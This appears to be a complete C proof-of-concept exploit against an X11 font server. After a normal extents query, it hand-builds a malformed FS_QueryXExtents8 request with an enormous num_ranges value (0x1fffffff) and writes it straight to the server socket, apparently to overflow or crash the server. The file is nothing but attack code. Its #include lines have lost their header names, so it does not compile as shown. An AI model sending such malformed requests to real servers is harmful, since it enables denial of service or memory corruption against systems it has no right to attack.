/* gcc -Wall -I/usr/X11R6/include tfs.c -L/usr/X11R6/lib -lFS */ #include #include #include #include #include #include fsQueryXExtents8Req req; int main(int argc, char *argv[]) { FSServer *serv; Font font, otherid; int n; FSXCharInfo *extents; size_t len; char *buf; if (argc != 3) errx(2, "syntax %s fontserver string\n", argv[0]); serv = FSOpenServer(argv[1]); if (serv == NULL) errx(2, "FSOpenServer failed\n"); font = FSOpenBitmapFont(serv, 0, 0, "fixed", &otherid); if (font == NULL) errx(2, "FSOpenXBitmap failed\n"); len = strlen(argv[2]); n = FSQueryXExtents8(serv, font, False, argv[2], len, &extents); printf("FSQueryExtents8 returns %d\n", n); /* Now build a bad request */ req.reqType = FS_QueryXExtents8; req.length = 5; req.fid = font; req.num_ranges = 0x1fffffff; buf = malloc(sizeof(req) + len); memcpy(buf, &req, sizeof(req)); memcpy(buf+sizeof(req), argv[2], len); write(serv->fd, buf, sizeof(req) + len); FSCloseFont(serv, font); FSCloseServer(serv); return 0; }